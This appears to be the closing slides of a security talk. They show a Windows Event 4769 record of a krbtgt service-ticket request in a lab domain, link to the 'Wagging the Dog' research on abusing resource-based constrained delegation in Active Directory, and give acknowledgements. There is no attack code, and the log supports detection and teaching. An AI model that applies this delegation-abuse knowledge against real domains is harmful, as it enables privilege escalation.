Event Properties - Event 4769, Microsoft Windows security auditing.

General		Details																						
<p>A Kerberos service ticket was requested.</p> <p><b>Account Information:</b></p> <table> <tr> <td>Account Name:</td> <td>servicea\$@SHENANIGANS.LABS</td> </tr> <tr> <td>Account Domain:</td> <td>SHENANIGANS.LABS</td> </tr> <tr> <td>Logon GUID:</td> <td>{f0945369-e921-1f5b-78de-7dd055d76863}</td> </tr> </table> <p><b>Service Information:</b></p> <table> <tr> <td>Service Name:</td> <td>krbtgt</td> </tr> <tr> <td>Service ID:</td> <td>SHENANIGANS\krbtgt</td> </tr> </table> <p><b>Network Information:</b></p> <table> <tr> <td>Client Address:</td> <td>::ffff:172.31.15.17</td> </tr> <tr> <td>Client Port:</td> <td>49761</td> </tr> </table> <p><b>Additional Information:</b></p> <table> <tr> <td>Ticket Options:</td> <td>0x40820010</td> </tr> <tr> <td>Ticket Encryption Type:</td> <td>0x12</td> </tr> <tr> <td>Failure Code:</td> <td>0x0</td> </tr> </table> <p><b>Transited Services:</b></p> <table> <tr> <td>servicea\$@SHENANIGANS.LABS</td> </tr> </table> <p>This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.</p> <p>This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.</p> <p>Ticket options, encryption types, and failure codes are defined in RFC 4120.</p> <p><b>Log Name:</b> Security    <b>Source:</b> Microsoft Windows security    <b>Logged:</b> 1/6/2019 5:59:37 AM  <b>Event ID:</b> 4769    <b>Task Category:</b> Kerberos Service Ticket Operation:  <b>Level:</b> Information    <b>Keywords:</b> Audit Success  <b>User:</b> N/A    <b>Computer:</b> DC1.shenanigans.labs  <b>OpCode:</b> Info  More Information: <a href="#">Event Log Online Help</a></p>				Account Name:	servicea\$@SHENANIGANS.LABS	Account Domain:	SHENANIGANS.LABS	Logon GUID:	{f0945369-e921-1f5b-78de-7dd055d76863}	Service Name:	krbtgt	Service ID:	SHENANIGANS\krbtgt	Client Address:	::ffff:172.31.15.17	Client Port:	49761	Ticket Options:	0x40820010	Ticket Encryption Type:	0x12	Failure Code:	0x0	servicea\$@SHENANIGANS.LABS
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Find the full details in our elaborate post:

## **Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory**

<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>

# Acknowledgements

- Will Schroeder ([@harmj0y](#))
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- Kevin Robertson ([@NetSPI](#))
- Danyal Drew ([@danyaldrew](#))
- Alberto Solino ([@agsolino](#))

# Questions?



Thank you

